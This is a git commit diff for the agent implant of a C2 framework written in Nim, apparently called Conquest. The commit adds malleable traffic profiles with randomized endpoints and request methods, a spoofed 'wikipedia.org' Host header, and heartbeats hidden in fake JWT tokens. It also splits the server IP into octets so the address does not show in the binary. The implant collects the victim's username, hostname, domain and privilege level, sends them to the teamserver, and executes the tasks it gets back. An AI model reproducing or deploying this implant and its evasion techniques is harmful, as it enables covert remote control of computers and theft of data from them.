Added profile system to agent communication. Randomized URL endpoints/request methods and dynamic data transformation based on C2 profile. Profile is defined as compile-time string for now.
This commit is contained in:
@@ -1,5 +1,4 @@
|
|||||||
# Conquest default configuration file
|
# Conquest default configuration file
|
||||||
# https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/topics/malleable-c2_profile-language.htm#_Toc65482837
|
|
||||||
|
|
||||||
name = "cq-default-profile"
|
name = "cq-default-profile"
|
||||||
|
|
||||||
@@ -11,7 +10,7 @@ database_file = "/mnt/c/Users/jakob/Documents/Projects/conquest/data/conquest.db
|
|||||||
# General agent settings
|
# General agent settings
|
||||||
[agent]
|
[agent]
|
||||||
sleep = 5
|
sleep = 5
|
||||||
user_agent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36"
|
user-agent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36"
|
||||||
|
|
||||||
# ----------------------------------------------------------
|
# ----------------------------------------------------------
|
||||||
# HTTP GET
|
# HTTP GET
|
||||||
@@ -46,9 +45,13 @@ suffix = ".KMUFsIDTnFmyG3nMiGM6H9FNFUROf3wh7SmqJp-QV30"
|
|||||||
|
|
||||||
# Defines arbitrary URI parameters that are added to the request
|
# Defines arbitrary URI parameters that are added to the request
|
||||||
[http-get.agent.parameters]
|
[http-get.agent.parameters]
|
||||||
|
id = "bd5a-c65176a7ac5c"
|
||||||
|
lang = "en-US"
|
||||||
|
|
||||||
# Defines arbitrary headers that are added by the agent when performing a HTTP GET request
|
# Defines arbitrary headers that are added by the agent when performing a HTTP GET request
|
||||||
[http-get.agent.headers]
|
[http-get.agent.headers]
|
||||||
|
Host = "wikipedia.org"
|
||||||
|
Connection = "Keep-Alive"
|
||||||
Cache-Control = "no-cache"
|
Cache-Control = "no-cache"
|
||||||
|
|
||||||
# Defines arbitrary headers that are added to the server's response
|
# Defines arbitrary headers that are added to the server's response
|
||||||
@@ -66,14 +69,21 @@ placement = { type = "body" }
|
|||||||
# ----------------------------------------------------------
|
# ----------------------------------------------------------
|
||||||
# HTTP POST
|
# HTTP POST
|
||||||
# ----------------------------------------------------------
|
# ----------------------------------------------------------
|
||||||
# Defines URI endpoints for HTTP POST requests
|
|
||||||
[http-post]
|
[http-post]
|
||||||
|
# Defines URI endpoints for HTTP POST requests
|
||||||
endpoints = [
|
endpoints = [
|
||||||
"/post",
|
"/post",
|
||||||
"/api/v2/get.js"
|
"/api/v2/get.js"
|
||||||
]
|
]
|
||||||
|
|
||||||
|
# Post request can also be sent with the HTTP verb PUT instead
|
||||||
|
request-methods = [
|
||||||
|
"POST",
|
||||||
|
"PUT"
|
||||||
|
]
|
||||||
|
|
||||||
[http-post.agent.headers]
|
[http-post.agent.headers]
|
||||||
|
Host = "wikipedia.org"
|
||||||
Content-Type = "application/octet-stream"
|
Content-Type = "application/octet-stream"
|
||||||
Connection = "Keep-Alive"
|
Connection = "Keep-Alive"
|
||||||
Cache-Control = "no-cache"
|
Cache-Control = "no-cache"
|
||||||
|
|||||||
59
src/agent/core/context.nim
Normal file
59
src/agent/core/context.nim
Normal file
@@ -0,0 +1,59 @@
|
|||||||
|
import parsetoml, base64, system
|
||||||
|
import ../../common/[types, utils, crypto]
|
||||||
|
|
||||||
|
const ListenerUuid {.strdefine.}: string = ""
|
||||||
|
const Octet1 {.intdefine.}: int = 0
|
||||||
|
const Octet2 {.intdefine.}: int = 0
|
||||||
|
const Octet3 {.intdefine.}: int = 0
|
||||||
|
const Octet4 {.intdefine.}: int = 0
|
||||||
|
const ListenerPort {.intdefine.}: int = 5555
|
||||||
|
const SleepDelay {.intdefine.}: int = 10
|
||||||
|
const ServerPublicKey {.strdefine.}: string = ""
|
||||||
|
const ProfileString {.strdefine.}: string = ""
|
||||||
|
|
||||||
|
proc init*(T: type AgentCtx): AgentCtx =
|
||||||
|
|
||||||
|
try:
|
||||||
|
# The agent configuration is read at compile time using define/-d statements in nim.cfg
|
||||||
|
# This configuration file can be dynamically generated from the teamserver management interface
|
||||||
|
# Downside to this is obviously that readable strings, such as the listener UUID can be found in the binary
|
||||||
|
when not ( defined(ListenerUuid) or
|
||||||
|
defined(Octet1) or
|
||||||
|
defined(Octet2) or
|
||||||
|
defined(Octet3) or
|
||||||
|
defined(Octet4) or
|
||||||
|
defined(ListenerPort) or
|
||||||
|
defined(SleepDelay) or
|
||||||
|
defined(ServerPublicKey) or
|
||||||
|
defined(ProfilePath)):
|
||||||
|
raise newException(CatchableError, "Missing agent configuration.")
|
||||||
|
|
||||||
|
# Reconstruct IP address, which is split into integers to prevent it from showing up as a hardcoded-string in the binary
|
||||||
|
let address = $Octet1 & "." & $Octet2 & "." & $Octet3 & "." & $Octet4
|
||||||
|
|
||||||
|
# Create agent configuration
|
||||||
|
var agentKeyPair = generateKeyPair()
|
||||||
|
let serverPublicKey = decode(ServerPublicKey).toKey()
|
||||||
|
|
||||||
|
let ctx = AgentCtx(
|
||||||
|
agentId: generateUUID(),
|
||||||
|
listenerId: ListenerUuid,
|
||||||
|
ip: address,
|
||||||
|
port: ListenerPort,
|
||||||
|
sleep: SleepDelay,
|
||||||
|
sessionKey: deriveSessionKey(agentKeyPair, serverPublicKey), # Perform key exchange to derive AES256 session key for encrypted communication
|
||||||
|
agentPublicKey: agentKeyPair.publicKey,
|
||||||
|
profile: parseString(decode(ProfileString))
|
||||||
|
)
|
||||||
|
|
||||||
|
# Cleanup agent's secret key
|
||||||
|
wipeKey(agentKeyPair.privateKey)
|
||||||
|
|
||||||
|
return ctx
|
||||||
|
|
||||||
|
except CatchableError as err:
|
||||||
|
echo "[-] " & err.msg
|
||||||
|
return nil
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
@@ -1,25 +1,55 @@
|
|||||||
import httpclient, json, strformat, strutils, asyncdispatch, base64
|
import httpclient, json, strformat, strutils, asyncdispatch, base64, tables, parsetoml, random
|
||||||
|
|
||||||
import ../../common/[types, utils]
|
import ../../common/[types, utils, profile]
|
||||||
|
import sugar
|
||||||
|
proc httpGet*(ctx: AgentCtx, heartbeat: seq[byte]): string =
|
||||||
|
|
||||||
const USER_AGENT = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36"
|
let client = newAsyncHttpClient(userAgent = ctx.profile.getString("agent.user-agent"))
|
||||||
|
var heartbeatString: string
|
||||||
|
|
||||||
proc httpGet*(config: AgentConfig, checkinData: seq[byte]): string =
|
# Apply data transformation to the heartbeat bytes
|
||||||
|
case ctx.profile.getString("http-get.agent.heartbeat.encoding.type", default = "none")
|
||||||
|
of "base64":
|
||||||
|
heartbeatString = encode(heartbeat, safe = ctx.profile.getBool("http-get.agent.heartbeat.encoding.url-safe")).replace("=", "")
|
||||||
|
of "none":
|
||||||
|
heartbeatString = Bytes.toString(heartbeat)
|
||||||
|
|
||||||
|
let prefix = ctx.profile.getString("http-get.agent.heartbeat.prefix")
|
||||||
|
let suffix = ctx.profile.getString("http-get.agent.heartbeat.suffix")
|
||||||
|
|
||||||
let client = newAsyncHttpClient(userAgent = USER_AGENT)
|
let payload = prefix & heartbeatString & suffix
|
||||||
var responseBody = ""
|
|
||||||
|
|
||||||
# Define HTTP headers
|
# Add heartbeat packet to the request
|
||||||
# The heartbeat data is placed within a JWT token as the payload (Base64URL-encoded)
|
case ctx.profile.getString("http-get.agent.heartbeat.placement.type"):
|
||||||
let payload = encode(checkinData, safe = true).replace("=", "")
|
of "header":
|
||||||
client.headers = newHttpHeaders({
|
client.headers.add(ctx.profile.getString("http-get.agent.heartbeat.placement.name"), payload)
|
||||||
"Authorization": fmt"Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.{payload}.KMUFsIDTnFmyG3nMiGM6H9FNFUROf3wh7SmqJp-QV30"
|
of "parameter":
|
||||||
})
|
discard
|
||||||
|
of "uri":
|
||||||
|
discard
|
||||||
|
of "body":
|
||||||
|
discard
|
||||||
|
else:
|
||||||
|
discard
|
||||||
|
|
||||||
|
# Define request headers, as defined in profile
|
||||||
|
for header, value in ctx.profile.getTable("http-get.agent.headers"):
|
||||||
|
client.headers.add(header, value.getStr())
|
||||||
|
|
||||||
|
# Define additional request parameters
|
||||||
|
var params = ""
|
||||||
|
for param, value in ctx.profile.getTable("http-get.agent.parameters"):
|
||||||
|
params &= fmt"&{param}={value.getStr}"
|
||||||
|
params[0] = '?'
|
||||||
|
|
||||||
|
# Select a random endpoint to make the request to
|
||||||
|
var endpoint = ctx.profile.getArray("http-get.endpoints").getRandom().getStr()
|
||||||
|
if endpoint[0] == '/':
|
||||||
|
endpoint = endpoint[1..^1]
|
||||||
|
|
||||||
try:
|
try:
|
||||||
# Retrieve binary task data from listener and convert it to seq[bytes] for deserialization
|
# Retrieve binary task data from listener and convert it to seq[bytes] for deserialization
|
||||||
responseBody = waitFor client.getContent(fmt"http://{config.ip}:{$config.port}/get")
|
return waitFor client.getContent(fmt"http://{ctx.ip}:{$ctx.port}/{endpoint}{params}")
|
||||||
return responseBody
|
|
||||||
|
|
||||||
except CatchableError as err:
|
except CatchableError as err:
|
||||||
# When the listener is not reachable, don't kill the application, but check in at the next time
|
# When the listener is not reachable, don't kill the application, but check in at the next time
|
||||||
@@ -30,21 +60,26 @@ proc httpGet*(config: AgentConfig, checkinData: seq[byte]): string =
|
|||||||
|
|
||||||
return ""
|
return ""
|
||||||
|
|
||||||
proc httpPost*(config: AgentConfig, data: seq[byte]): bool {.discardable.} =
|
proc httpPost*(ctx: AgentCtx, data: seq[byte]): bool {.discardable.} =
|
||||||
|
|
||||||
let client = newAsyncHttpClient(userAgent = USER_AGENT)
|
let client = newAsyncHttpClient(userAgent = ctx.profile.getString("agent.user-agent"))
|
||||||
|
|
||||||
# Define headers
|
# Define request headers, as defined in profile
|
||||||
client.headers = newHttpHeaders({
|
for header, value in ctx.profile.getTable("http-post.agent.headers"):
|
||||||
"Content-Type": "application/octet-stream",
|
client.headers.add(header, value.getStr())
|
||||||
"Content-Length": $data.len
|
|
||||||
})
|
|
||||||
|
|
||||||
|
# Select a random endpoint to make the request to
|
||||||
|
var endpoint = ctx.profile.getArray("http-post.endpoints").getRandom().getStr()
|
||||||
|
if endpoint[0] == '/':
|
||||||
|
endpoint = endpoint[1..^1]
|
||||||
|
|
||||||
|
let requestMethod = parseEnum[HttpMethod](ctx.profile.getArray("http-post.request-methods").getRandom().getStr("POST"))
|
||||||
|
|
||||||
let body = Bytes.toString(data)
|
let body = Bytes.toString(data)
|
||||||
|
|
||||||
try:
|
try:
|
||||||
# Send post request to team server
|
# Send post request to team server
|
||||||
discard waitFor client.postContent(fmt"http://{config.ip}:{$config.port}/post", body)
|
discard waitFor client.request(fmt"http://{ctx.ip}:{$ctx.port}/{endpoint}", requestMethod, body)
|
||||||
|
|
||||||
except CatchableError as err:
|
except CatchableError as err:
|
||||||
echo "[-] " & err.msg
|
echo "[-] " & err.msg
|
||||||
|
|||||||
@@ -1,70 +1,28 @@
|
|||||||
import strformat, os, times, system, base64
|
import strformat, os, times, system, base64
|
||||||
|
|
||||||
import core/[task, taskresult, heartbeat, http, register]
|
import core/[http, context]
|
||||||
|
import protocol/[task, result, heartbeat, registration]
|
||||||
import ../modules/manager
|
import ../modules/manager
|
||||||
import ../common/[types, utils, crypto]
|
import ../common/[types, utils, crypto]
|
||||||
|
|
||||||
const ListenerUuid {.strdefine.}: string = ""
|
|
||||||
const Octet1 {.intdefine.}: int = 0
|
|
||||||
const Octet2 {.intdefine.}: int = 0
|
|
||||||
const Octet3 {.intdefine.}: int = 0
|
|
||||||
const Octet4 {.intdefine.}: int = 0
|
|
||||||
const ListenerPort {.intdefine.}: int = 5555
|
|
||||||
const SleepDelay {.intdefine.}: int = 10
|
|
||||||
const ServerPublicKey {.strdefine.}: string = ""
|
|
||||||
|
|
||||||
proc main() =
|
proc main() =
|
||||||
#[
|
|
||||||
The process is the following:
|
|
||||||
1. Agent reads configuration file, which contains data relevant to the listener, such as IP, PORT, UUID and sleep settings
|
|
||||||
2. Agent collects information relevant for the registration (using Windows API)
|
|
||||||
3. Agent registers to the teamserver
|
|
||||||
4. Agent moves into an infinite loop, which is only exited when the agent is tasked to terminate
|
|
||||||
]#
|
|
||||||
|
|
||||||
# The agent configuration is read at compile time using define/-d statements in nim.cfg
|
# Initialize agent context
|
||||||
# This configuration file can be dynamically generated from the teamserver management interface
|
var ctx = AgentCtx.init()
|
||||||
# Downside to this is obviously that readable strings, such as the listener UUID can be found in the binary
|
if ctx == nil:
|
||||||
when not defined(ListenerUuid) or not defined(Octet1) or not defined(Octet2) or not defined(Octet3) or not defined(Octet4) or not defined(ListenerPort) or not defined(SleepDelay) or not defined(ServerPublicKey):
|
|
||||||
echo "Missing agent configuration."
|
|
||||||
quit(0)
|
quit(0)
|
||||||
|
|
||||||
# Reconstruct IP address, which is split into integers to prevent it from showing up as a hardcoded-string in the binary
|
|
||||||
let address = $Octet1 & "." & $Octet2 & "." & $Octet3 & "." & $Octet4
|
|
||||||
|
|
||||||
# Create agent configuration
|
|
||||||
var config: AgentConfig
|
|
||||||
try:
|
|
||||||
var agentKeyPair = generateKeyPair()
|
|
||||||
let serverPublicKey = decode(ServerPublicKey).toKey()
|
|
||||||
|
|
||||||
config = AgentConfig(
|
|
||||||
agentId: generateUUID(),
|
|
||||||
listenerId: ListenerUuid,
|
|
||||||
ip: address,
|
|
||||||
port: ListenerPort,
|
|
||||||
sleep: SleepDelay,
|
|
||||||
sessionKey: deriveSessionKey(agentKeyPair, serverPublicKey), # Perform key exchange to derive AES256 session key for encrypted communication
|
|
||||||
agentPublicKey: agentKeyPair.publicKey
|
|
||||||
)
|
|
||||||
|
|
||||||
# Cleanup agent's secret key
|
|
||||||
wipeKey(agentKeyPair.privateKey)
|
|
||||||
|
|
||||||
except CatchableError as err:
|
|
||||||
echo "[-] " & err.msg
|
|
||||||
|
|
||||||
# Load agent commands
|
# Load agent commands
|
||||||
loadModules()
|
loadModules()
|
||||||
|
|
||||||
# Create registration payload
|
# Create registration payload
|
||||||
var registration: AgentRegistrationData = config.collectAgentMetadata()
|
var registration: AgentRegistrationData = ctx.collectAgentMetadata()
|
||||||
let registrationBytes = config.serializeRegistrationData(registration)
|
let registrationBytes = ctx.serializeRegistrationData(registration)
|
||||||
|
|
||||||
if not config.httpPost(registrationBytes):
|
if not ctx.httpPost(registrationBytes):
|
||||||
echo "[-] Agent registration failed."
|
echo "[-] Agent registration failed."
|
||||||
quit(0)
|
quit(0)
|
||||||
echo fmt"[+] [{config.agentId}] Agent registered."
|
echo fmt"[+] [{ctx.agentId}] Agent registered."
|
||||||
|
|
||||||
#[
|
#[
|
||||||
Agent routine:
|
Agent routine:
|
||||||
@@ -77,7 +35,7 @@ proc main() =
|
|||||||
while true:
|
while true:
|
||||||
|
|
||||||
# TODO: Replace with actual sleep obfuscation that encrypts agent memory
|
# TODO: Replace with actual sleep obfuscation that encrypts agent memory
|
||||||
sleep(config.sleep * 1000)
|
sleep(ctx.sleep * 1000)
|
||||||
|
|
||||||
let date: string = now().format("dd-MM-yyyy HH:mm:ss")
|
let date: string = now().format("dd-MM-yyyy HH:mm:ss")
|
||||||
echo fmt"[{date}] Checking in."
|
echo fmt"[{date}] Checking in."
|
||||||
@@ -85,16 +43,16 @@ proc main() =
|
|||||||
try:
|
try:
|
||||||
# Retrieve task queue for the current agent by sending a check-in/heartbeat request
|
# Retrieve task queue for the current agent by sending a check-in/heartbeat request
|
||||||
# The check-in request contains the agentId, listenerId, so the server knows which tasks to return
|
# The check-in request contains the agentId, listenerId, so the server knows which tasks to return
|
||||||
var heartbeat: Heartbeat = config.createHeartbeat()
|
var heartbeat: Heartbeat = ctx.createHeartbeat()
|
||||||
let
|
let
|
||||||
heartbeatBytes: seq[byte] = config.serializeHeartbeat(heartbeat)
|
heartbeatBytes: seq[byte] = ctx.serializeHeartbeat(heartbeat)
|
||||||
packet: string = config.httpGet(heartbeatBytes)
|
packet: string = ctx.httpGet(heartbeatBytes)
|
||||||
|
|
||||||
if packet.len <= 0:
|
if packet.len <= 0:
|
||||||
echo "[*] No tasks to execute."
|
echo "[*] No tasks to execute."
|
||||||
continue
|
continue
|
||||||
|
|
||||||
let tasks: seq[Task] = config.deserializePacket(packet)
|
let tasks: seq[Task] = ctx.deserializePacket(packet)
|
||||||
|
|
||||||
if tasks.len <= 0:
|
if tasks.len <= 0:
|
||||||
echo "[*] No tasks to execute."
|
echo "[*] No tasks to execute."
|
||||||
@@ -102,14 +60,13 @@ proc main() =
|
|||||||
|
|
||||||
# Execute all retrieved tasks and return their output to the server
|
# Execute all retrieved tasks and return their output to the server
|
||||||
for task in tasks:
|
for task in tasks:
|
||||||
var result: TaskResult = config.handleTask(task)
|
var result: TaskResult = ctx.handleTask(task)
|
||||||
let resultBytes: seq[byte] = config.serializeTaskResult(result)
|
let resultBytes: seq[byte] = ctx.serializeTaskResult(result)
|
||||||
|
|
||||||
config.httpPost(resultBytes)
|
ctx.httpPost(resultBytes)
|
||||||
|
|
||||||
except CatchableError as err:
|
except CatchableError as err:
|
||||||
echo "[-] ", err.msg
|
echo "[-] ", err.msg
|
||||||
|
|
||||||
|
|
||||||
when isMainModule:
|
when isMainModule:
|
||||||
main()
|
main()
|
||||||
@@ -1,9 +1,10 @@
|
|||||||
# Agent configuration
|
# Agent configuration
|
||||||
-d:ListenerUuid="03FBA764"
|
-d:ListenerUuid="D07778EF"
|
||||||
-d:Octet1="172"
|
-d:Octet1="172"
|
||||||
-d:Octet2="29"
|
-d:Octet2="29"
|
||||||
-d:Octet3="177"
|
-d:Octet3="177"
|
||||||
-d:Octet4="43"
|
-d:Octet4="43"
|
||||||
-d:ListenerPort=7777
|
-d:ListenerPort=8080
|
||||||
-d:SleepDelay=5
|
-d:SleepDelay=10
|
||||||
-d:ServerPublicKey="mi9o0kPu1ZSbuYfnG5FmDUMAvEXEvp11OW9CQLCyL1U="
|
-d:ServerPublicKey="mi9o0kPu1ZSbuYfnG5FmDUMAvEXEvp11OW9CQLCyL1U="
|
||||||
|
-d:ProfileString="bmFtZSA9ICJjcS1kZWZhdWx0LXByb2ZpbGUiCmNvbnF1ZXN0X2RpcmVjdG9yeSA9ICIvbW50L2MvVXNlcnMvamFrb2IvRG9jdW1lbnRzL1Byb2plY3RzL2NvbnF1ZXN0Igpwcml2YXRlX2tleV9maWxlID0gIi9tbnQvYy9Vc2Vycy9qYWtvYi9Eb2N1bWVudHMvUHJvamVjdHMvY29ucXVlc3QvZGF0YS9rZXlzL2NvbnF1ZXN0LXNlcnZlcl94MjU1MTlfcHJpdmF0ZS5rZXkiCmRhdGFiYXNlX2ZpbGUgPSAiL21udC9jL1VzZXJzL2pha29iL0RvY3VtZW50cy9Qcm9qZWN0cy9jb25xdWVzdC9kYXRhL2NvbnF1ZXN0LmRiIgpbYWdlbnRdCnNsZWVwID0gNQp1c2VyLWFnZW50ID0gIk1vemlsbGEvNS4wIChXaW5kb3dzIE5UIDEwLjA7IFdpbjY0OyB4NjQpIEFwcGxlV2ViS2l0LzUzNy4zNiAoS0hUTUwsIGxpa2UgR2Vja28pIENocm9tZS8xMzguMC4wLjAgU2FmYXJpLzUzNy4zNiIKCltodHRwLWdldF0KZW5kcG9pbnRzID0gWyIvZ2V0IiwgIi9hcGkvdjEuMi9zdGF0dXMuanMiXQpbaHR0cC1nZXQuYWdlbnQuaGVhcnRiZWF0XQpwcmVmaXggPSAiQmVhcmVyIGV5SmhiR2NpT2lKSVV6STFOaUlzSW5SNWNDSTZJa3BYVkNKOS4iCnN1ZmZpeCA9ICIuS01VRnNJRFRuRm15RzNuTWlHTTZIOUZORlVST2Yzd2g3U21xSnAtUVYzMCIKW2h0dHAtZ2V0LmFnZW50LmhlYXJ0YmVhdC5wbGFjZW1lbnRdCnR5cGUgPSAiaGVhZGVyIgpuYW1lID0gIkF1dGhvcml6YXRpb24iCgpbaHR0cC1nZXQuYWdlbnQuaGVhcnRiZWF0LmVuY29kaW5nXQp0eXBlID0gImJhc2U2NCIKdXJsLXNhZmUgPSB0cnVlCgoKW2h0dHAtZ2V0LmFnZW50LnBhcmFtZXRlcnNdCmlkID0gImJkNWEtYzY1MTc2YTdhYzVjIgpsYW5nID0gImVuLVVTIgoKW2h0dHAtZ2V0LmFnZW50LmhlYWRlcnNdCkhvc3QgPSAid2lraXBlZGlhLm9yZyIKQ29ubmVjdGlvbiA9ICJLZWVwLUFsaXZlIgpDYWNoZS1Db250cm9sID0gIm5vLWNhY2hlIgoKW2h0dHAtZ2V0LnNlcnZlci5oZWFkZXJzXQpTZXJ2ZXIgPSAibmdpbngiCkNvbnRlbnQtVHlwZSA9ICJhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW0iCkNvbm5lY3Rpb24gPSAiS2VlcC1BbGl2ZSIKCltodHRwLWdldC5zZXJ2ZXIub3V0cHV0LnBsYWNlbWVudF0KdHlwZSA9ICJib2R5IgoKCltodHRwLXBvc3RdCmVuZHBvaW50cyA9IFsiL3Bvc3QiLCAiL2FwaS92Mi9nZXQuanMiXQpyZXF1ZXN0LW1ldGhvZHMgPSBbIlBPU1QiLCAiUFVUIl0KW2h0dHAtcG9zdC5hZ2VudC5oZWFkZXJzXQpDb250ZW50LVR5cGUgPSAiYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtIgpDb25uZWN0aW9uID0gIktlZXAtQWxpdmUiCkNhY2hlLUNvbnRyb2wgPSAibm8tY2FjaGUiCgpbaHR0cC1wb3N0LmFnZW50Lm91dHB1dC5wbGFjZW1lbnRdCnR5cGUgPSAiYm9keSIKCltodHRwLXBvc3Quc2VydmVyLmhlYWRlcnNdClNlcnZlciA9ICJuZ2lueCIKCltodHRwLXBvc3Quc2VydmVyLm91dHB1dC5wbGFjZW1lbnRdCnR5cGUgPSAiYm9keSIKCgo="
|
||||||
|
|||||||
@@ -2,7 +2,7 @@ import times
|
|||||||
|
|
||||||
import ../../common/[types, serialize, sequence, utils, crypto]
|
import ../../common/[types, serialize, sequence, utils, crypto]
|
||||||
|
|
||||||
proc createHeartbeat*(config: AgentConfig): Heartbeat =
|
proc createHeartbeat*(ctx: AgentCtx): Heartbeat =
|
||||||
return Heartbeat(
|
return Heartbeat(
|
||||||
header: Header(
|
header: Header(
|
||||||
magic: MAGIC,
|
magic: MAGIC,
|
||||||
@@ -10,16 +10,16 @@ proc createHeartbeat*(config: AgentConfig): Heartbeat =
|
|||||||
packetType: cast[uint8](MSG_HEARTBEAT),
|
packetType: cast[uint8](MSG_HEARTBEAT),
|
||||||
flags: cast[uint16](FLAG_ENCRYPTED),
|
flags: cast[uint16](FLAG_ENCRYPTED),
|
||||||
size: 0'u32,
|
size: 0'u32,
|
||||||
agentId: uuidToUint32(config.agentId),
|
agentId: uuidToUint32(ctx.agentId),
|
||||||
seqNr: 0'u32,
|
seqNr: 0'u32,
|
||||||
iv: generateIV(),
|
iv: generateIV(),
|
||||||
gmac: default(AuthenticationTag)
|
gmac: default(AuthenticationTag)
|
||||||
),
|
),
|
||||||
listenerId: uuidToUint32(config.listenerId),
|
listenerId: uuidToUint32(ctx.listenerId),
|
||||||
timestamp: uint32(now().toTime().toUnix())
|
timestamp: uint32(now().toTime().toUnix())
|
||||||
)
|
)
|
||||||
|
|
||||||
proc serializeHeartbeat*(config: AgentConfig, request: var Heartbeat): seq[byte] =
|
proc serializeHeartbeat*(ctx: AgentCtx, request: var Heartbeat): seq[byte] =
|
||||||
|
|
||||||
var packer = Packer.init()
|
var packer = Packer.init()
|
||||||
|
|
||||||
@@ -32,7 +32,7 @@ proc serializeHeartbeat*(config: AgentConfig, request: var Heartbeat): seq[byte]
|
|||||||
packer.reset()
|
packer.reset()
|
||||||
|
|
||||||
# Encrypt check-in / heartbeat request body
|
# Encrypt check-in / heartbeat request body
|
||||||
let (encData, gmac) = encrypt(config.sessionKey, request.header.iv, body, request.header.seqNr)
|
let (encData, gmac) = encrypt(ctx.sessionKey, request.header.iv, body, request.header.seqNr)
|
||||||
|
|
||||||
# Set authentication tag (GMAC)
|
# Set authentication tag (GMAC)
|
||||||
request.header.gmac = gmac
|
request.header.gmac = gmac
|
||||||
@@ -192,7 +192,7 @@ proc getOSVersion(): string =
|
|||||||
else:
|
else:
|
||||||
return "Unknown"
|
return "Unknown"
|
||||||
|
|
||||||
proc collectAgentMetadata*(config: AgentConfig): AgentRegistrationData =
|
proc collectAgentMetadata*(ctx: AgentCtx): AgentRegistrationData =
|
||||||
|
|
||||||
return AgentRegistrationData(
|
return AgentRegistrationData(
|
||||||
header: Header(
|
header: Header(
|
||||||
@@ -201,14 +201,14 @@ proc collectAgentMetadata*(config: AgentConfig): AgentRegistrationData =
|
|||||||
packetType: cast[uint8](MSG_REGISTER),
|
packetType: cast[uint8](MSG_REGISTER),
|
||||||
flags: cast[uint16](FLAG_ENCRYPTED),
|
flags: cast[uint16](FLAG_ENCRYPTED),
|
||||||
size: 0'u32,
|
size: 0'u32,
|
||||||
agentId: uuidToUint32(config.agentId),
|
agentId: uuidToUint32(ctx.agentId),
|
||||||
seqNr: nextSequence(uuidToUint32(config.agentId)),
|
seqNr: nextSequence(uuidToUint32(ctx.agentId)),
|
||||||
iv: generateIV(),
|
iv: generateIV(),
|
||||||
gmac: default(AuthenticationTag)
|
gmac: default(AuthenticationTag)
|
||||||
),
|
),
|
||||||
agentPublicKey: config.agentPublicKey,
|
agentPublicKey: ctx.agentPublicKey,
|
||||||
metadata: AgentMetadata(
|
metadata: AgentMetadata(
|
||||||
listenerId: uuidToUint32(config.listenerId),
|
listenerId: uuidToUint32(ctx.listenerId),
|
||||||
username: string.toBytes(getUsername()),
|
username: string.toBytes(getUsername()),
|
||||||
hostname: string.toBytes(getHostname()),
|
hostname: string.toBytes(getHostname()),
|
||||||
domain: string.toBytes(getDomain()),
|
domain: string.toBytes(getDomain()),
|
||||||
@@ -217,11 +217,11 @@ proc collectAgentMetadata*(config: AgentConfig): AgentRegistrationData =
|
|||||||
process: string.toBytes(getProcessExe()),
|
process: string.toBytes(getProcessExe()),
|
||||||
pid: cast[uint32](getProcessId()),
|
pid: cast[uint32](getProcessId()),
|
||||||
isElevated: cast[uint8](isElevated()),
|
isElevated: cast[uint8](isElevated()),
|
||||||
sleep: cast[uint32](config.sleep)
|
sleep: cast[uint32](ctx.sleep)
|
||||||
)
|
)
|
||||||
)
|
)
|
||||||
|
|
||||||
proc serializeRegistrationData*(config: AgentConfig, data: var AgentRegistrationData): seq[byte] =
|
proc serializeRegistrationData*(ctx: AgentCtx, data: var AgentRegistrationData): seq[byte] =
|
||||||
|
|
||||||
var packer = Packer.init()
|
var packer = Packer.init()
|
||||||
|
|
||||||
@@ -242,7 +242,7 @@ proc serializeRegistrationData*(config: AgentConfig, data: var AgentRegistration
|
|||||||
packer.reset()
|
packer.reset()
|
||||||
|
|
||||||
# Encrypt metadata
|
# Encrypt metadata
|
||||||
let (encData, gmac) = encrypt(config.sessionKey, data.header.iv, metadata, data.header.seqNr)
|
let (encData, gmac) = encrypt(ctx.sessionKey, data.header.iv, metadata, data.header.seqNr)
|
||||||
|
|
||||||
# Set authentication tag (GMAC)
|
# Set authentication tag (GMAC)
|
||||||
data.header.gmac = gmac
|
data.header.gmac = gmac
|
||||||
@@ -24,7 +24,7 @@ proc createTaskResult*(task: Task, status: StatusType, resultType: ResultType, r
|
|||||||
data: resultData,
|
data: resultData,
|
||||||
)
|
)
|
||||||
|
|
||||||
proc serializeTaskResult*(config: AgentConfig, taskResult: var TaskResult): seq[byte] =
|
proc serializeTaskResult*(ctx: AgentCtx, taskResult: var TaskResult): seq[byte] =
|
||||||
|
|
||||||
var packer = Packer.init()
|
var packer = Packer.init()
|
||||||
|
|
||||||
@@ -45,7 +45,7 @@ proc serializeTaskResult*(config: AgentConfig, taskResult: var TaskResult): seq[
|
|||||||
packer.reset()
|
packer.reset()
|
||||||
|
|
||||||
# Encrypt result body
|
# Encrypt result body
|
||||||
let (encData, gmac) = encrypt(config.sessionKey, taskResult.header.iv, body, taskResult.header.seqNr)
|
let (encData, gmac) = encrypt(ctx.sessionKey, taskResult.header.iv, body, taskResult.header.seqNr)
|
||||||
|
|
||||||
# Set authentication tag (GMAC)
|
# Set authentication tag (GMAC)
|
||||||
taskResult.header.gmac = gmac
|
taskResult.header.gmac = gmac
|
||||||
@@ -1,15 +1,16 @@
|
|||||||
import strutils, tables, json, strformat, sugar
|
import strutils, tables, json, strformat, sugar
|
||||||
|
|
||||||
|
import ./result
|
||||||
import ../../modules/manager
|
import ../../modules/manager
|
||||||
import ../../common/[types, serialize, sequence, crypto, utils]
|
import ../../common/[types, serialize, sequence, crypto, utils]
|
||||||
|
|
||||||
proc handleTask*(config: AgentConfig, task: Task): TaskResult =
|
proc handleTask*(ctx: AgentCtx, task: Task): TaskResult =
|
||||||
try:
|
try:
|
||||||
return getCommandByType(cast[CommandType](task.command)).execute(config, task)
|
return getCommandByType(cast[CommandType](task.command)).execute(ctx, task)
|
||||||
except CatchableError as err:
|
except CatchableError as err:
|
||||||
echo "[-] Invalid command. " & err.msg
|
return createTaskResult(task, STATUS_FAILED, RESULT_STRING, string.toBytes(err.msg))
|
||||||
|
|
||||||
proc deserializeTask*(config: AgentConfig, bytes: seq[byte]): Task =
|
proc deserializeTask*(ctx: AgentCtx, bytes: seq[byte]): Task =
|
||||||
|
|
||||||
var unpacker = Unpacker.init(Bytes.toString(bytes))
|
var unpacker = Unpacker.init(Bytes.toString(bytes))
|
||||||
|
|
||||||
